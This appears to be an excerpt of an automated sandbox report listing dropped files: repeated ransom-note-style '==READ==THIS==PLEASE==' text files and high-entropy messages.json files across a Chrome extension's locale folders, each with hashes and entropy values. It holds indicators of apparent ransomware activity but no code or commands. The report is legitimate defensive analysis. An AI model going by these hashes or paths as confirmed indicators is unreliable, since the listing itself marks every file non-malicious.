Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\id\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.726489965485523
Encrypted:	false
MD5:	D673E35B7285AEBBE0C239885039F081
SHA1:	57E4548E29BFA2020314C55A5B1711A628C4048F
SHA-256:	F5C60F8E5989F72585FC827935071CBA47FD217840280986ED984735C283F6CA
SHA-512:	FCB06FB121BCDFABF49AF27782CE8ABCC279830D6252A9B0294383DA5F011F1F9F2D4DB7740D444C4CE075EAF2AB16F7BC39C57EB231571C201A82C1FABDBC31
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\it\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\it\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.652332755431985
Encrypted:	false
MD5:	B24A2AB16BC7B29FB9812231D76A39AB
SHA1:	39879B21CBCB0F5855734F06426984384AAF84B6
SHA-256:	12C6D5B44AC7FAB1C8C07EF5A1D6BF815FA15BC746B9A20BB02D23BAEA02EF83
SHA-512:	48497DDA9DF9E051EACBC7AF37B5B05E5E4EA2AB3004489C60F910FAE9BC69B171156A69682407D9F40C0814C3D2D94A2583DBBC9BD3460E321D8CCEF971E1D3
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ja\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ja\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.660849973416873
Encrypted:	false
MD5:	ADAF75C29DCF7953E95B0FFDD81F2520
SHA1:	E2A1A4270E0C43FDCFE36EB37A57503144A90E68
SHA-256:	0F9725E4255E807C3DA6352BB7B229A9F4714372E9EB0CCF9C4AEB5C2128D728
SHA-512:	6CB8C383F3450D7878E2BEB1736F74A4FCAA42CB80A667C2F7581CECE7D6BB21584F28EB3203EE72C736E712EE394C258F2D18A24EB5CF1AC0959B336049427A
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ko\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ko\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.707392878687468
Encrypted:	false
MD5:	D4E00E6934B78C176B3288BA62C21B42
SHA1:	0DC225E596F018154D795202B287FF25D8E708C5
SHA-256:	00975CBA325AD0E0658F2021DE9570136D663FF690C22288AB3103BF0B9C2563
SHA-512:	941C612064AAD5360BAA496A8317251D9E29A78A00CF74A6B303D4277EF95D54A612E0B3E61A2AA857961F079112D814A21A645B244CEE05F845E01775110C23
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\lt\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\lt\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.628973741809474
Encrypted:	false
MD5:	93BFA916204EB8ECAFC4C98FC4488CCA
SHA1:	0BB63C496968334D7192C28FE39DC88933E410A7
SHA-256:	586674CBBE8056373ABAA98FF53421BF4EB3503090197769CF9AE6E59E20B9D2
SHA-512:	3807A0A3125F16485461EB8CC6D78782A58CAD877A6A9C874B46682F84F7A1DAD5DAF5AF590EF9C166B9F50E2FD14C1370F5DEAB470E79093A9A5431B92E3D1A
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\lv\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\lv\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.702918824335337
Encrypted:	false
MD5:	11293388A0F14B44F322F312B99E4935
SHA1:	9F1B9FAF75CCC974E48278B213392B551898E657
SHA-256:	F433E6594A108B983AF1FBD15B663BC84E5F1496992193CEAD3FB6F3F105D950
SHA-512:	29B6EC0EA015D3775505EBBE253846200EE4B8FF1D92F0EBE1D016942797B5704B0F1D5A0B0A0309185D359F31DF9F053BD5A2189D6EC89E7C0A953DAB0996AF
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\nl\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\nl\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.683836567089957
Encrypted:	false
MD5:	B63FF73DE54806A98F99249AF8ADB342
SHA1:	1F6617CFCD04D0FA6B2F08CB16AB088A5100DB6D
SHA-256:	1BCDAF3A950762129A2900F3B52C59AC6DDC5CBA1397451302A506AFF86C80D5
SHA-512:	22E2B98E72DB4A56B327AC4034BA5AB6D1D931551A1D8935EE23659AAD6D20499C53A204A7144DA9A9A4E2B6EDC69427603D902D8367E5BFA36372F832364604
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\no\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\no\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.689516282217197
Encrypted:	false
MD5:	E245FA9AF2F4FDEAD3EEE8F73952EAF2
SHA1:	618E516BAD7C1E237A0896CA4CDE9E94C4BEBA2C
SHA-256:	2B44937786BB65CF51B0DAD9FACEA05F4F2CC4584E00CC8FC0DBCFFD9E35790E
SHA-512:	2CFF7BA7384E7FE394292A1DAD640958DE739638F038088690874DB2898A381F7792B0EC669E189ADD5AFA6CE41124B516BCE4B8A981ED9CA96641DC0E09F440
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\pl\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\pl\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.681963631684616
Encrypted:	false
MD5:	F5BA9B83E6BABE043E55C24710B3494D
SHA1:	C5C894E49A3EC5A0A1FCD18050D9403F99EDB47C
SHA-256:	CAEFAADCEA198B7B2D8C46AE3C742681505441315BF1639B14A0305D0D21FFF0
SHA-512:	0413E4E0519B5E2D6B39AF2B3B370C8C893B1F9101FE2DB73AE7AFA739DA1520CC13D6CBE0C6BFCACA9D53F0BF361AEF2FDB30FC1ADD9B321F200F3F2589844A
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\pt_BR\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\pt_BR\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.695938923731374
Encrypted:	false
MD5:	592EE6453481829492E71B58A4DAB3C5
SHA1:	1892B8E86CCE95C6EBF9B73E3C8319A3E84AFD8E
SHA-256:	5BFD0A6EE9BD5D2AEB1B1E014CF41251E2CDB38F54F92D783D6D0326B82A2D05
SHA-512:	B64F03783055EEDD886CF9042D8CD501E0ABB47FF8DF4632C83356A86624E03F8CBB702EECD2DEEA0F9DD0932C5FB987CEAFF2D8EB541F670ADC226D3BED2320
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\pt_PT\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\pt_PT\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.716253468853026
Encrypted:	false
MD5:	5C0F8D678C2F0E532F0A9A449DCC7D72
SHA1:	A9C7BF086EA0F759CEB74DA7E5441687BC7F7ABD
SHA-256:	BB88D34D0D3F15931C5A9C6508D01EE7FAC57367EF2FD23E179F142B46E57461
SHA-512:	1D38A67EF70A0FBD86D73C5CDFA7BFC27E19254122AE970FFE7773569755CA07D456BF7D2FAA1831F1BE3A83AD649F3C1ECA6C63228A89B4B1C4005786470F52
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ro\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ro\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.752123163601088
Encrypted:	false
MD5:	3AC97DED2629C7F6118BCEBCEFD3A5C4
SHA1:	5405DF4EAF81BCA20CE658255AB8E7F9D40B31D2
SHA-256:	02FB8B60C69AF5CEA8FDC67579764ABD58FF8C0A0BBCEF97F44B8BCCD3CFEA70
SHA-512:	25458F1C2168773CDE4EC91136AB0309E95E5F1E6A7BAD0FB705F523D231116A3AFC08E4E5C0FABD4AD395F2D7C78E5AA0DCF72C7E6A12951896BBA314DCA5A5
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ru\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ru\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.71782599745843
Encrypted:	false
MD5:	591ACE9A7C7DCF73853C0D8F1D017DD7
SHA1:	B0F4EBB2E4879B34A7AB04D347138BDA21004550
SHA-256:	A2145E2C3995690C6D65FDBBE8DE9623B2AA839DE7680CFE0E3DACEBAE31994D
SHA-512:	667E455021D8D95C81DCD302925E978D31DBB1A7DD3D3099901CD8C92EE1B57E443DAEEFEB91CE8AEAF0F7E3634CE29F81CC3510E30E11279455336269C004E6
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\sk\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\sk\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.755210443352182
Encrypted:	false
MD5:	7F8AAD3019750CBD353BA9BDB3AEE413
SHA1:	58D9713A2D7C0395B94295003A12401E917B7CD7
SHA-256:	101BD5945DFC7424DEABCF631A38DF24CC00EDDAC0443BE9F1D01A338D7E4C0F
SHA-512:	731CE2E924D9CF08D1F77653357CCC77B3A2AFF3B3369AC199424E1A8EA9E6B70959C76DDDB0241A2F02CCE17272B3CF496480D183232C56C279C877B88C72AA
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\sl\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\sl\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.671697222368947
Encrypted:	false
MD5:	DD316731E80A817D05FF0BA1D66AA271
SHA1:	C96FECD37BBBA60B4FB078C18B86C7C4DA63F30A
SHA-256:	264B2BCC9883F1AA840874AE3DD82865C99663664C00357665ABCC403619DCC8
SHA-512:	63656EB1E06FF3DC16D7A8D8B17EFA4A210B87E962D48DDCB851690D2EBF633783FEDD47EBD89E9FD2658B4500185F8ACA1B6850558F74D68E7FDC6EAB86E265
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\sr\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\sr\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.681592548857911
Encrypted:	false
MD5:	AA9552CFAC63C8D58AA7A0E56E936E35
SHA1:	A3FFE7083CA369F544E7E65A0891120B65D723F3
SHA-256:	30B81EC25556C5478ED25E54322BA600B6B1DBD940560DAB0B1D3AABEA593B8F
SHA-512:	20D01C76B09ED5CFB476761C9D40C02B285E708170C32B58368E147AAFBCA83440620069618B8B083070FBEC83A273DF5DAAA456CBA028F24F2F441C7384D3BC
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\sv\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\sv\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.582441129687173
Encrypted:	false
MD5:	07EDA721A6FBE3C27555F51DE199F85C
SHA1:	B30C5200633912CF10E8E234A8ED6F2DC0FE78AD
SHA-256:	FBC8D38CD2B2B6894FFFB19C683A7FB62F2FC137D1AB60D8B8776D9A4CB49E8E
SHA-512:	CFCA23028E79BDCD568E8FD006F615B4D6CE4EAAC3F2C5B7961AD67F4C104484CF7ED03C5CF0A3DE5D0B92F6FA13BE35D0F63B6D5A35FDC4B1C69A2D17C02D86
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\th\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\th\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.681745104597082
Encrypted:	false
MD5:	E9DC141881B8DF7BF398C13115405BC1
SHA1:	909651231EC389BC694C61394306EBDD2B86116E
SHA-256:	A0E4F0C5D61BC4800ECA8B2297E5147B3A1642EE4CA669D7B13BE98F43D920B7
SHA-512:	F9A80D3A16314D12648B5C433C217EE3A3290D1BB3FA0B491A5F4A2D1DF4B3E0E4528021885C2640B975E245D4E6DF6D3F6DC9E7FF3A127D9101CE34AEFB0C97
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\tr\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\tr\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.661007591593176
Encrypted:	false
MD5:	42462F212DC08CAB1B41B2BF2B2C735C
SHA1:	0E962E3874271F4AEE2779631977D6059BA7F645
SHA-256:	022BE8735C6448723E173BA91CA6EEF23315A40071F961A5CDFB9E85182669E9
SHA-512:	7F5FEA3F5E5A33FFD9C0A1271CBFB13DAC00E52C3761AB8346BB4882BD5E362C13FBBD2142A5C483474A770F1870853AA5DF71DEB3B108C64637BD27EBB9339C
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\uk\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\uk\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.69025920860413
Encrypted:	false
MD5:	5D1F9E026CEAD7F8314CD9AAC7B0DD8D
SHA1:	D65B1389C47C8944095CF4B8EBD3F128D684312C
SHA-256:	DEEC7731F43C6B5A362B50E676FFFFCB4A0B255E82F204D353A0B57C272747DD
SHA-512:	9BA441F622506AF69E82D925D0FE4D1B7F02BCB25C10EDCCE94E0212DD276CF49D69AB503CA753B53984C5589A54B1ACEECC97ED54DA2113ECA6F247373D8F0D
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\vi\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
